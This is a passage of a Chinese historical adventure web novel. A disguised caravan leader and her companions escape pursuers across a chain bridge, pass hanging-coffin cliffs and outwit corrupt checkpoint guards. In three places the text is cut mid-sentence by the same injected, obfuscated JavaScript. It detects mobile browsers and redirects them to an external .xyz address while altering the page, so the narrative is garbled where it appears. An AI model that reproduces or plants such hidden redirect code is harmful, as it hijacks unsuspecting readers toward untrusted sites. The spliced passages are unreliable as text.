洛云在林中的这些时日，打点好了随她逃出云骧府的马帮众人。 因那夜前来屠府的线索指向京城，她决定亲自前往查明。 此去必定不太平，她陆陆续续遣散了才进马帮不久的年轻人，还欲再劝服一些马帮的老人，可他们坚决不从，执意誓死追随。 洛云没辙，最终和大伙商定，由白露、阿吉、阿木叔和另外身手敏捷、头脑灵活的三人跟随她乔装前往京城，其余人守着马帮剩下的滇马留在云岭暂时待命。 这样的部署不仅保存了马帮的部分力量，还成功分散了弩山部追兵的注意。 众人见洛云心意已决，只能默默咽下欲要劝阻的话语，依命照办。 怒江上游水势湍急，江边两山坡陡如削、怪石嶙峋，山下江流更是波涛汹涌、深不可测。远远望去，似一条怒吼翻滚着的碧青色绸缎在险象环生的荆棘丛中狂舞。 鬼哭涧尤甚。单从“鬼哭”二字，就能瞥见水流呼啸的哀鸣。 此处两岸相隔较远，想要渡过湍急的江水到达对岸，唯一的道路就是一座横跨江面的铁索桥。 铁索桥已经有些年头了，支撑桥体的两根铁索在岁月的侵蚀下变得锈迹斑斑，供人行走的木板已经腐朽，经过雨季的浸润，长出一层细细密密的青苔。 杨洛云一行七人乔装成了普通商队，身后的滇马或多或少驮着一些货物，都是为掩人耳目在马帮各据点顺手搬来的。 弩山部追兵兵分两路，一路紧盯留在云岭的马帮大伙，另一路追着洛云来到了鬼哭涧。 尽管极力混淆追兵的视线，可还是被弩山族人识破了伪装。 看向那在巨浪之上震颤着的铁索桥，杨洛云当机立断，令七人尽可能卸货减重。 白露卸下一筐暂无用处的宝石；阿木叔轻轻放下一个马头酒坛；阿吉飞快搬下多余的鞍架，转身之际，带倒了一个货箱，箱子坠地摔裂成两半。 阿吉惊呼一声，指着不经意间露出的货物朝杨洛云快速解释：“云主，这不是咱家货！” 洛云俯身扒拉开箱子，没有了容器的遮挡，几片产自波斯的玻璃器碎片出现在众人眼前。 洛云稍怔，微不可察地蹙了蹙眉，弯腰迅速捡起一块缺口较平整的碎片收入袖中。接着云淡风轻地开口：“无事，先过桥要紧。” 七人很快牵马踏上了晃晃悠悠的铁索桥。 腐木板上的青苔拖慢了一行人的速度，青苔极滑，众人一步一停，小心翼翼地龟速前行着。马匹亦步亦趋跟随着主人，尽管不时打滑，惹来铁索桥一阵晃动。 顺利行至铁索桥的中部，弩山部追兵已经在桥下列队，领头人似乎还在和下属商量着接下来的行动。 白露低头，透过木板缝隙看着脚下嘶吼着疯狂地冲向远方的江水，尽力忽略越来越急似鬼哭狼嚎般的风声，又转头瞄一眼犹豫踟蹰着的追兵，握紧缰绳，焦虑不安地向走在前面的杨洛云问：“阿云，他们会不会把桥弄断？” “不会。”杨洛云毫不犹豫地回答。 接着缓缓补充：“且不谈没有工具、徒手弄断铁索桥的难度，只因他们是弩山族人，同样生活在云岭，知晓这唯一的铁索桥对于怒江上游部族的重要性。追击我们是奉命行事，但绝不会不择手段，成为破坏他族生路的罪人。” 白露心下稍安，又听洛云道：“不过，就算不把桥弄断，也会有别的方式……”话音未落，一阵破空声由远及近传来。 洛云迅速闪身，顺势拉了白露一把，二人堪堪避过一支羽箭。 剧烈的动作惹得铁索桥猛地晃了晃，阿木叔身后的一匹滇马未曾站稳，左前蹄顺着力道滑向了桥下。 阿吉眼疾手快，迅速拽紧缰绳，阿木叔则缓缓蹲身，摸索着探向露出桥外、悬在半空的马蹄。稳住身形，一边用力往回拖拽，一边开口柔声用马帮常用的赶马人专属“马语”安抚焦躁不安的滇马。 好不容易将滑出的马蹄解救回来，迎面“嗖嗖嗖”几声射来一群箭雨。众人迅速蹲身，带着马匹不断躲避着密密麻麻的箭矢。 杨洛云飞快思考着应对之法，他们此时已行过三分之二，若任由这么射下去，保不准在铁索桥上就全军覆没了。 一支箭羽穿过呼啸风声，直直射向阿木叔。队伍末尾的三人中，个子高挑些的阿虎抬手一拉一挡，阿木叔险险逃过一劫，阿虎的手臂却被那箭正正射中。他闷哼一声，忍住疼痛继续缓缓向前挪走。 杨洛云看着阿虎越来越苍白的脸色，心中担忧。忽然想到什么，她凝神细细辨别风向，嘴角渐渐弯起。 她和白露靠着身形苗条的优势，缓缓从队伍前面挪到了末尾，阿吉接过两匹马的缰绳，郑重地担起领头开路一职。 洛云解开腰间的麻布包，分给白露一半，二人动作飞快地向空中一扬，无数灰白色粉尘借着风势飘向正高举着箭、瞄准射击的弩山族人。 许是云骧府那晚的印象太过深刻，面对迎面而来的不明粉状物，弩山部追击者的第一反应是捂住了口鼻，同时拼命瞪大眼睛，想要看清桥上一行人的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276318|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向。 然而，桥上那两个纤弱的身影只是不停地重复着抛撒的动作。 追击的领头人正疑惑间，身旁的同伴已经嗷嗷叫着捂住了眼睛。 紧接着，一个接一个族人不受控制地抬起手揉眼睛。 领头人终于反应过来这是什么，但已经为时已晚，他自己也抬手加入了揉眼睛的行列。 桥上的一行人见势加快脚步，哪怕三步一滑，也总算是离开了铁索桥。 对岸的弩山小队捂着愈揉愈刺痛的眼睛，只能聚拢成防御的阵型，背靠背坐下来休整。 就这么一会儿的工夫，待眼睛勉强能看清景致，马帮一行人早已不见踪影。 阿木叔搀扶阿虎靠着一棵大树缓缓坐下，白露立刻上前诊治，比划着把那支深深扎入手臂的箭拔除。 为了转移阿虎的注意力，更为了满足自己的好奇心，阿吉凑近杨洛云迫不及待地请教：“云主，刚才撒出去的粉末究竟是什么，功效如此了得？” 阿虎忍着痛，也憨笑着附和：“就是，看见他们拼命瞪大眼睛却正中云主套路的囧样，我这胳膊都不觉得疼了。” 白露撇嘴，加重了手下包扎的力道。 洛云摸了摸阿吉的头，语带笑意：“那是我先前备下的火塘灰。姑姑曾与我讲过，火塘灰不仅可以取暖驱寒，还有储存、保鲜、保温的作用。我去西域前姑姑就特意叮嘱过，万幸这次带在身上，否则脱身恐怕还要费些力气。” 想起至今下落不明的段清昙，洛云的眸子暗了暗。 “火塘灰还有这么多功效呀！在我们火寅族，火塘灰只是用来祭祀驱邪的。”阿吉整理了一下被洛云弄乱的头发，语气中有些许怀念。 阿吉是杨洛云路过火寅族寨子时救下的，彼时的他又瘦又小，总被同龄人欺负。 阿吉的母亲是火寅族的祭祀巫女，阿吉是遗腹子，从小听到的都是身边人对母亲负面的议论，说她罔顾巫女身份、说阿吉是野孩子，更过分的话数不胜数。 母亲充耳不闻，每日照例做好祭祀事宜，只是对阿吉不闻不问，似乎只要他能够活着就行。 那年火寅族寨子遭遇水患，庄稼被毁，正在筹备的火把节也被迫中断。族中为了平息所谓的天神怒火，将阿吉的母亲选作了祭女。 阿吉眼睁睁看着母亲被捆缚在木桩上，直至被大火吞没。记忆里，那是母亲唯一一次对自己流露出那么迫切的、慈爱的眼神，她冲着被人群阻挡在外的阿吉拼命做口型：离开火寅寨，好好活下去…… 洛云看出了阿吉的低落，她又薅了一把阿吉的头发，故意用开玩笑的口吻道：“哎呀呀小阿吉，你是不是又长高了，再过几年我就要摸不着你的头顶喽！” 阿吉躲闪不及，顿时羞红了脸：“云主，你怎么总是对我动手动脚的，我也就比你小三岁，别再把我当成小孩了。” “小三岁那也是小，在我这就还是小弟弟，小弟弟！”说着，再次伸手向阿吉头顶探去。 阿吉站起身，第一次放下对洛云的敬重，追着洛云打闹起来。 看着两个欢脱的身影一蹦一跳跑远，处理完阿虎伤势的白露也长长舒了口气，脸上浮现久违的笑意…… 5. 千里潜行·悬棺崖 离开云岭所辖范围，杨洛云一行继续乔装成普通商队，径直向玉京城方向赶路。 对众人而言，这是第一次绕过熟悉的古道，选择走相对距离更近却充满未知的路途。 比起新奇，杨洛云更多的是面对前路的谨慎与担忧。 这日，一行人于天亮出发，晌午时分抵达滇南与珞川交界。 “过了界碑，我们就真正离开滇南啦！”阿吉有些激动地道。 阿吉是第一次离开滇南，对于少年而言，在最好的年纪去看外面的世界，总是一件憧憬大于不舍的事。 可当真正离开家乡数百里，想念的滋味就会不时袭上心头，更会在一个人委屈难捱之时，摧垮最后一根紧绷着装作安然无恙的心弦。当然，此时的他还不会明白。 “离开滇南，前路不知如何。你收收毛躁的性子，仔细别给云主惹事！”阿木叔苦口婆心叮嘱。 翻过一座土丘，众人被眼前景象震住——前方是许多座笔直笔直的悬崖峭壁，自上而下、错落有致地悬放着黑漆长条形之物。 “那是……棺椁！”阿吉倒吸一口冷气，浑身鸡皮疙瘩都起来了。他退后一步，下意识躲在阿木叔身后。 “这是僰（bó）人悬棺葬。”白露适时解释。 僰人自古便有死后将棺椁葬于崖壁之上的传统。虽说僰人现今早已不存在，但他们的习俗还是被保留下来，成为了历史赠予后人的一页书册，更是他们曾来过这世界的珍贵痕迹。 杨洛云盯着离她最近的崖壁上的黑漆木棺材，心中掠过一丝异样的感觉。 目之所及的这片峭壁岩石上，没有僰人最具象征性的壁画，且棺木安放位置似乎与僰人悬棺的习惯也不同。 她仔细打量着这些棺木，敏锐地发现了安放在峭壁最顶处棺椁的不同寻常。 那具棺椁显然比其他黑漆木棺椁的尺寸更大，棺身上还刻有极不清晰的变体汉文字样。 洛云眯起眼睛仔细辨认，那似乎是“刀”字！ “刀”是云诏国皇族姓氏，云诏国是先前统治西南一域的故国，三十二年前被如今的昭华国所灭。 除了百姓顺应昭华国的旨意，自愿成为其子民，云诏国的皇室相关人等全部决绝赴死。 难道这些棺椁里长眠的是云诏国皇室之人？ “这片区域安葬的不是僰人，应该是云诏国皇族。”杨洛云指着面前的峭壁，缓缓开口。 白露呼吸一滞，她是云诏国御医后裔，想起家族被诬陷后的悲惨际遇，心中不免生出对云诏皇室的怨恨。 顺着杨洛云指的方向，白露再次看向那些棺木，确定是云诏国皇室棺木后，她便闭口不谈，闷头牵马快速向前走去。 杨洛云没有即刻离开，她将手中缰绳递给阿吉，一撩衣袖，朝着悬棺群走去。 接着，马帮众人就惊讶地看见，他们的云主开始在峭壁悬棺之间穿梭。 杨洛云身姿灵巧，借助支撑棺椁的木棍，不一会儿就爬到最顶处安放着棺椁的地方。 她尽可能地凑近棺木，确定棺身所刻是“刀”字不错。转头，在棺缝中发现了一根稍微残损的孔雀金翎。“或许是从陪葬物上脱落的”她心中暗忖。 再向棺木各处仔细摸索，没有发现任何异样，洛云悻悻落地。 提及云诏国皇室，她第一个想到的是阿爹临终前给她的那半块茶马玉符。 云诏国曾经统治过滇南，如若和玉符之事有关，或许能在云诏皇室找到相关消息。 可刚才一番查探，并未发现任何有用信息。 杨洛云忍不住在心中苦笑：自己还是太着急了，阿爹查探这么多年都没有另外半块玉符的踪迹，仅凭这突然遇见的云诏皇室棺，又怎么能轻易探查出线索呢？ 接过阿吉手上缰绳，洛云向前追上了白露，轻轻牵起她的手。 白露回握住杨洛云，极浅地勾了勾唇角：“我没事，别担心。” “可是云诏国皇室先前的墓葬应该在滇南界内，这几具怎么会跑到界外珞川的陡崖上，还选择僰人悬棺葬这样的方式呢？还有那具最高处棺木中躺着的，是第几代君主？”阿吉不解。 杨洛云也有疑虑，但云诏国被灭数载，除了皇室中人根本没人能回答这些问题。 “兴许怕被人打扰吧。你这孩子怎么有这么多问题？”阿木叔拍拍阿吉肩膀，示意他赶快跟上。 再往前的悬棺，逐渐与一开始的云诏皇室棺有了差别。 “这些就是真正的僰人悬棺葬了。”杨洛云对身后的阿吉道。 话分两头说，自几天前在鬼哭涧让一行人顺利离开后，弩山追兵就只好返回了部族。 再追下去已无意义，况且出了滇南，弩山部能贡献的力量可谓微不足道。 木铎半倚着靠坐在床头，看着窗下来回踱步的蒙面人，冷冷出声：“阁下还想如何？我们能做的都做了，他们既已出滇南，余下之事便与我族无关。” 蒙面人语气不善：“要不是你们如此没用，我所寻之物早就该到手了。” 说着，他随手丢给木铎一个瓷瓶：“每日两次，三天后你族妇女彻底无恙。” 木铎接过，小心翼翼地收好。 “另外，别以为我看不出来，你对那杨洛云起了心思。我可提醒你，这‘云岭十八骑’我不会留，你最好早点断了对她的念想，否则后续的合作可就不好继续了。” “二皇子如此英明神武，居然连个女子都不打算放过。”木铎语气戏谑。 蒙面人心知身份暴露，一个箭步跨到床前，伸手飞快地掐住木铎喉咙，厉声威胁：“既然已经知晓本王的身份，就该明白你不可能拒绝得了我的合作。” 木铎的脸因呼吸不畅瞬间涨红，他艰难地喘息着，一字一顿：“身为皇子，可不能出尔反尔。” 晏晦明语气不屑：“你这些族人本王可以答应不牵连，至于你，养好身体就给本王赶紧去玉京城报到。” 说完，他猛地松开木铎，转身大步离去。 木铎终于得以自由，大口大口呼吸着，唇色更加苍白。接着，一手抓紧被角，一手压着心口，天翻地覆地猛咳起来。 那日被杨洛云一剑刺中后腰，加之先前的几鞭，让他重伤难愈，接连昏迷数日。族中医士费了好大力气才将他从鬼门关抢回一命。 想起杨洛云最后看向他那充满恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276319|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意、冰冷刺骨的眼神，木铎自嘲，拉起被角蒙住脸。 微微起伏的被子显示出他压抑的情绪，室内只闻低低颤抖的笑声，而后越来越大，仿佛连眼泪都笑出来一般。随后便是长久的静默…… 暮色沉沉，杨洛云一行终于找到一片可供歇息的空地。 这一路过来，左右两边都是峭壁悬棺。刺骨的冷风从崖壁之间呼啸穿过，发出“呜呜”哭泣，一刻不停地奔向远方。 此情此景此声让阿吉不禁打了个寒颤。他裹紧身上的衣服，觉得自己的胆量今天翻了不止一倍——路过这么多棺材板板，他几乎已经麻木，现在哪怕让他打开某具板板和里面长眠的兄弟唠嗑，似乎也不是不能接受。 白露安静地整理着腰间药囊和背包，不时到附近草丛中寻找药草。 一旁的杨洛云随手捡起一根树枝，在空地上划着。 “走出悬棺崖，后面再翻过四座山，通过三个关卡就可以抵达玉京城了。” 想了想，她又划出一条长长的分隔线，将近几天碰见的疑惑全部列出：鬼哭涧掉落的那些不属于马帮的玻璃器碎片、今日在棺缝中发现的孔雀金翎…… 还没有梳理完，就听阿吉压低声音问：“你们有没有听见什么声响？” 阿虎吊着受伤的手臂，闻言和另外两个马帮兄弟侧耳倾听。 “似乎是……蛇！”话音刚落，三人同时惊跳起来，阿虎下意识到鞍架两侧口袋里寻找驱蛇粉。 “云岭十八骑”长年活动在古道和山间，对各类突发情况无比熟悉。 果然，在他们刚落座的地方出现了几条毒蛇。阿虎将手中驱蛇粉递给左边的矮个子，矮个子对准毒蛇迅速撒去。 不一会儿，毒蛇吐着红杏仓皇地躲回了草丛，众人放下心来，复又坐下。 驱蛇粉是白露在云骧府时所做，效果极好却也很珍贵。每次耗费许多材料，最终只得几小瓶。随杨洛云离开时，马帮众人凑够几瓶交给选出的三人，让他们务必保证安全。 阿虎收起驱蛇粉，顺势凑到鼻尖轻嗅，浓烈刺鼻的气味让他顿时往后缩了缩。 没忍住，还是向杨洛云请教：“云主，这驱蛇粉里到底有些什么，效果这样好？” 洛云看了看埋头剔着草药的白露，反问阿虎：“你觉得呢？” “是不是有普洱茶的成分？”阿虎挠挠头，冥思苦想许久才回答。 洛云面露赞赏：“不错，猜对了其中一种。至于另外的嘛，你还得去问白露大医师。” 白露闻言，抬头看看蠢蠢欲动的阿虎，冷冷吐出几个字：“独家配方，无可奉告！” 看着阿虎耷拉着脑袋、面露失望地返回原地，洛云轻笑着宽慰：“无妨，当年她也是这样对我的。” “普洱茶渣只是其中一种成分，莫要以为有了茶就能驱蛇。”白露突然冲着众人提高音量补充，抬眼看见表情有一瞬不自然的杨洛云，满意地笑着低头。 洛云想起当年自己拿着普洱茶，意图驱赶面前的无毒大蛇却差点被咬，危急时刻被白露救下之事，把头往膝上臂弯中埋了埋…… 一夜无事，待晨光染上枝头，一行人牵马离开了悬棺崖。 6. 千里潜行·天堑关 望着呈龟速向前挪动的队伍，杨洛云连做了几次深呼吸，才将烦躁的心绪平静下来。 “汉人的办事效率完全可以把急性子的人气得跳脚”看着关卡查阅处两个官差慢慢悠悠的动作，杨洛云忍不住腹诽。 他们一行人从悬棺崖离开已经三日，原本计划昨日下午便可通过天堑关关卡，在当地驿站歇脚。 正是眼前这样蜗牛般的审查速度，让七人不得不继续露宿山中，甚至太阳升至头顶正上方，距离轮到他们审查，还有不下十人。 杨洛云观察着前后队伍中百姓们的反应，他们对此似乎已经习以为常。 要不是走过自己马帮管辖下的茶马古道段，见识过正常的关卡审查效率，杨洛云或许也会和百姓们一样，认为这样的速度没有任何问题。 日头越来越烈，等候一上午的人们开始露出疲态。 排在前面的一个纤瘦妇人抱着孩子站立不稳，一个趔趄摔在地上。 动作幅度如此之大，可她怀里的小女孩却不见分毫动静，没有哭闹、没有乱动。 “这明显是中暑昏迷之状，再这样下去，那孩子的性命危矣！”白露看着母女俩的情况，语气里全是关切和担忧。 “干什么干什么？排个队都站不好了！你，对就是你！存心想要破坏队列秩序是吧？既然这样，那你就老老实实去重新排吧。” 一个官差唾沫横飞，扭着圆滚滚的“腰肢”斜眼上下打量妇人的穿着，见只是再寻常不过的粗布麻衣，便语气不耐地随便打发了。 “官爷，您行行好，我家囡囡热昏过去了，可不可以让我带她先过关卡去找郎中？”妇人低低哀求，伸手拽住了官差的衣袖。 那官差却瞧也不瞧，仿佛没有听见，挥手打开妇人的手。 “去去去，别耽误办差，后面这么多人等着呢。” 看着妇女焦急又绝望的眼神，杨洛云和白露对视一眼。 白露上前扶起跪坐在地的妇人，缓声安抚：“夫人莫怕，我是医士，这孩子我可以救。” 一边说着，一边从腰间某个小药囊中掏出一粒药丸，放在妇人掌心。 “把这个给孩子喂下，到阴凉处休息片刻就好。” “姑娘，你是郎中？”妇人从怔愣中回过神来。 “对，我是郎中，郎中。”白露还没有习惯汉人对医士的称呼，闻言迅速改口。 “你是滇南一带人吧？”妇人看到白露的打扮，又看看她纯净的眼睛，犹豫几息，一咬牙，将药丸放进小女孩口中。 直到孩子悠悠转醒，妇人提着的心才勉强放下。 阿吉跑过去给妇人撑着伞，又邀请她带着孩子来到马帮队列中。 小女孩看着奇奇怪怪的“遮阳伞”，眨着一双好奇的眼看向阿吉。 “阿妹，这可是我特制的遮阳神器！你瞧，这木头伞柄牢固不牢固？这伞沿是好几条松枝捆成的，又凉快质量又好！还有这……”阿吉絮絮叨叨介绍着，活脱脱一个竖着尾巴求表扬的猫。 不怪阿吉如此热情，他常年是马帮最小的一员，时时被大伙照顾，总觉得自己没有发挥过价值。遇到比自己小且这般虚弱的女孩，大哥哥的责任心备受鼓舞。 看着阿吉和小女孩的互动，妇人眉眼弯弯。 她紧走几步来到杨洛云和白露跟前，屈膝行礼：“谢谢姑娘的救命之恩。” 洛云连忙阻止妇人动作，柔声说：“我们是滇南来的马帮，夫人稍后可随我们一起过关卡，不必听那官差的浑话。” 妇人又再三道谢。交谈间，洛云了解到：妇人名唤婧娘，和小女孩玉儿一起去黑水寨找半年未归家的夫君。她们五日前就已经来到天堑关，可官差总是挑刺，变着法儿让她重新排队。 杨洛云越听越恼火，可她清楚，自己一行现在是普通马帮，再加上不知那些汉人追兵是否已经发现她们的踪迹，绝对不能听凭心意鲁莽行动。 终于轮到马帮审查时，太阳已近西斜。 马帮后面排队的人都陆陆续续散了，他们估摸着自己今日过不了关卡，赶在天黑前寻找可以落脚之处。 坐在案前登记造册的官差拿着毛笔，漫不经心问：“滇南来的马帮？” 杨洛云点头称是。 官差视线扫过几人，见他们身后的马匹背上，鞍架两侧鼓鼓囊囊，显然有不少好东西。他眉毛一挑，随手翻出一本册子，佯装认真地检索着：“朝廷有规定，外族人过汉人关卡要交纳税额。你们既从滇南过来，就交蛮夷税十两吧。” “十两银子？！你们这关卡是金子做的吗？”阿吉气得跳脚。 “你怎么能这样！我往返天堑关几回，从未听过蛮夷税一说，官爷这么做未免太过分了。”婧娘忍不住插话。她的确柔弱，可救命恩人遭到这样的欺瞒，她委实做不到视而不见、听而不闻。 令婧娘重新排队的那个官差听到动静，他把放在香喷喷猪蹄上的目光移到杨洛云一行身上，拧着眉看向婧娘：“哎，你怎么不去后面重排，是没有听清我的话么？” 他似乎是天堑关审查官差的上司，见他过来，坐在椅子上拿着毛笔要求交税的那个官差立刻起身，恭恭敬敬让座。 杨洛云先前就在仔细看着那本随意翻开的册子，官差认为滇南来的马帮人必定不识汉文，毫无顾忌地大剌剌敞开着，还将其佯装官文税收条例。 可他没料到，杨洛云会多族语言文字，汉文就是其中之一。 “云岭十八骑”掌控着通往南亚、吐蕃，甚至西域部分地区的茶马古道命脉，身为少帮主，汉文读写是必不可少的技能。 册子记载的并非所谓税收条例，而是婧娘欲要前往寻夫的黑水寨同天堑关官差往来的账本。 那审查负责人舒舒服服落座，听完下属禀明蛮夷税一事，满意地点点头。又见婧娘似乎与杨洛云一行相熟，便不再揪着重新排队之事不放。 看透两官差贪财好色、恃强凌弱的本性，杨洛云灵机一动。 她转身走到马匹跟前，在鞍架右侧的竹篓里翻了翻，拿出两块茶膏，换上一脸谄媚的表情弯腰递上。 “两位官爷每天都在这风吹日晒的，实在辛苦。这是我们马帮最名贵的茶膏了，就连陛下宫中都难得几块。”说着，杨洛云朝玉京城方向拱拱手。 继续情真意切道：“咱小小马帮利润有限，十两银子实属天价，那是我们多少年都赚不到的价钱。您二位能否通融通融，减几成税银……或者，先看看这两块茶膏如何？” 两个官差早就心痒难耐，听说皇帝都难得的茶膏居然可以给他们使用，恨不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276320|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼珠子都钉在茶膏上。 婧娘看着杨洛云的动作，又听闻茶膏如此珍贵，正欲开口劝阻，白露连忙拉了拉她的衣袖，给她一个安心的眼神。 身后马帮几人从杨洛云上前献茶膏开始，就已经知晓他们的云主又要使鬼点子了。不约而同握紧缰绳，敬候云主佳音。 两个官差欢欢喜喜地接过茶膏，又听杨洛云说其味道独特，迫不及待地取出一小部分放入热腾腾的茶碗中。 杨洛云一个劲地吹着茶膏功效，二人一边听一边用扇子扇凉茶汤，恨不得即刻享用。 好不容易等到可以入口的温度，两人前后端起杯子，满足地豪饮。把茶水喝出了高级酒酿之感。 玉儿还沉浸在洛云对茶膏功效的讲述中，她崇拜地看着洛云，对一旁的阿吉说：“这个姐姐可真厉害，你们的茶膏也厉害！” 阿吉自信地拍拍胸脯：“那可不！我们云主对货品的功效了如指掌，任意一种货物都可以张口就来。和其他商队谈价格，她凭借一张嘴，坑蒙拐骗，能生生把利润提高一半。” 阿木叔听闻，照着阿吉脑袋就是一巴掌：“胡说什么呢！云主从不坑蒙拐骗，我们讲求的是诚信经营。” “那刚才云主还说连陛下都很难尝到……”阿吉嘟囔着，声音越来越小。 “这是特殊情况，要学会特殊对待。况且现在又不是正经谈生意。”阿虎补充。 看着两个官差将茶饮尽，杨洛云狡黠地伸出手在二人面前晃了晃。 见两人慢吞吞起身，一步三摇地走向她。洛云抓住时机，一手将桌上的黑水寨往来账本揣入怀中，一手控住缰绳，翻身上马。 阿吉飞快地将剩余茶膏收回鞍架，抱起玉儿放在马背上，自己上马坐稳，将小姑娘保护好；白露扶着婧娘爬上马背，坐到自己身前；其余几人也立刻整装。 杨洛云一马当先，驾着马从两个官差中间驰过，顺势朝两人各踹了一脚。又引导着马跃过木制栅栏，朝关内疾驰而去。 身后几人如法炮制，指挥马匹顺利进关。 关口引起一阵骚动，杨洛云冲着迎面而来查探情况的几个小卒高喊：“官差大人晕倒了，快遣人救治。” 在小卒反应过来前，众人早已打马驰远。 天堑关内的马帮驿站，婧娘不可置信地捂了捂自己的耳朵：她没有听错吧？杨洛云给官差的茶膏里竟然含有致幻菌！ “所以，他们突然手脚不听使唤，甚至手舞足蹈，都是因为中了致幻菌子的毒？”婧娘再次出声确认。 她知晓滇南的山珍有食用风险，却没想到还可以掺进茶膏中，更没想到杨洛云竟敢给关口审查的官差吃。要知道，能在汉人关卡负责审核，多多少少和地方府衙有些联系。 “他们不会有生命危险吧？”婧娘担忧地问。她不是担忧官差，像这两个仗势欺人的家伙早该遭报应，只是怕这么做会牵扯杨洛云一行。 如果因为两个败类受到处罚，实在不值得。 洛云只是轻笑，白露接话道：“他们无碍，最多就是看见几日小人人，需要卧床静养罢了。那官差上司太胖了，趁此机会帮他减减肥，有利于健康。” 众人听罢笑作一团。 洛云思及婧娘的目的地是黑水寨，默默握紧了怀里的账本…… 7. 千里潜行·黑水寨 翌日天明，杨洛云一行和婧娘母女动身前往黑水寨。 从天堑关到玉京城有两条路可走，黑水寨方向是距离更远的一条。 “昨日在关卡闹出的动静，足够引起汉人追兵的注意。他们若有心排查，知晓我们过了天堑关，八成会继续往距离更近的那条道追。”洛云如是盘算着。 黑水寨属于珞川地界较为独立的异族村寨，一般人无事不会刻意接近。毕竟在异族地界与异族打交道，需要敏锐的洞察力和足够的知识储备，否则不经意触及族中习俗禁忌，于赶路人而言，无异于是雪上加霜，耽误行程不说，弄不好还会有葬身他乡的风险。 “黑水寨大当家是女子，三年前开始筹划黑水寨的营生，向周围几百里都发了邀请。我夫君就是冲着其中一项经营去的，他归家后还时常跟我赞叹大当家的才能呢。”婧娘有一搭没一搭地和杨洛云唠嗑。 “夫人知道她经营的具体内容吗？”洛云追问。 她昨夜又将那账本仔细看过，总觉得黑水寨和天堑关往来交易里透着蹊跷。 “大当家什么都做，大到铺路修桥，小到珠宝刺绣都有。我夫君就是去做刺绣的，我从小女红极差，夫君的技艺却很高。”婧娘说着，脸上一瞬闪过些许红晕，手指不自觉地互相揉搓着。 “刺绣本就是男女皆可的活计，夫人天赋不在此，无需汗颜，更莫为了所谓‘女红’的性别定义就妄自菲薄。在我看来，这词语本就剥夺了男子刺绣的自由，固化了女子的标准。” 杨洛云说完一挥马鞭，身下马儿疾跑起来，风远远把她的声音带到婧娘耳畔，也传进她的心里：“女子亦可行商纵马，去尝试各种未知领域，来这世间活一遭，不值得被所谓世俗定义缚住双手双脚！” 少女如此鲜活的背影，同此刻天际朝霞交织，汇成一幅无限自由的画，看得婧娘眼眶微红。 黑水寨中，女子放下手中佳酿，饶有兴致地看向探子：“那小姑娘真这么说？看来这次是来了个妙人。” 她起身理理衣袍，不紧不慢朝寨门口走去。 杨洛云一路打量着黑水寨的景致，不得不说，这寨子的主人非常会利用空间。道路两旁栽种着应季果林；稍矮的地方种着大大小小不同蔬菜；交错隔开的沟槽中养着鱼虾；树与树之间还装着蜂箱。 单是目及的一小块地方，就可以创造出不少营生。杨洛云对这个大当家更好奇了。 行至寨口，就见一个头顶、颈间、耳上佩着无数银饰，身着玄色和赤色相间长裙的女子向他们投来好奇的目光。 杨洛云认出她的银羽族服饰，把相关禁忌和习俗在脑海中过了一遍，换上真诚的微笑，上前行礼：“大当家，我们是滇南来的马帮，想要从您这借道，不请自来实属无礼。” “若觉得不快，我便不会亲自到此等候。” “大当家真是爽快人！我唤杨云川，不知大当家如何称呼？”杨洛云应承着，为遮掩身份，她便以云川自称。 “苗素，叫我苗当家即可。”说着，看清婧娘母女，她微不可察地握了握衣摆。 杨洛云捕捉到她不自然的动作，没有绕弯子，直接开口：“我们借道此处还有一个原因，听闻这位夫人的夫君也在苗当家手下办差，只是现已半年未归家，不知可否让他们家人团聚？” 婧娘连连点头：“夫君常常夸赞大当家的才能，今日一见果然不同凡响。” 苗素轻轻叹息，她走到婧娘跟前，一撩衣裙就要跪下。 婧娘惊得一把扶住苗素，眼中瞬间聚满泪光，她倔强地阻止它们流出，调整呼吸，用尽量平静的语气道：“我就知道他定是出事了，无论如何，还请苗当家如实相告。” “跟我来。” 苗素带着婧娘母女和杨洛云走到一间半掩着房门的屋子前，里面的伙计听见动静，慌忙迎出来行礼。 屋子里的竹床上，一个男子静静地躺着，气若游丝，被子盖在他身上仿佛都能把他压断气。 婧娘的眼泪夺眶而出，她踉跄着拉着玉儿来到床前，伸手想要触碰那张苍白的脸，又生生停在半空，怕稍微一动那人就会消散。 玉儿亦是泪流满面，“爹爹、爹爹”轻声唤着。 “为何会这样？”杨洛云出声打破压抑的气氛。 “两月前本是例行休假归家，陈修替我运送一批刺绣货物，在天堑关和当值官差发生争执。我赶到时，他已经昏迷。郎中说他重伤头部，幸则卧床半生，否则还可活月余，至于苏醒就只能听天命了。” 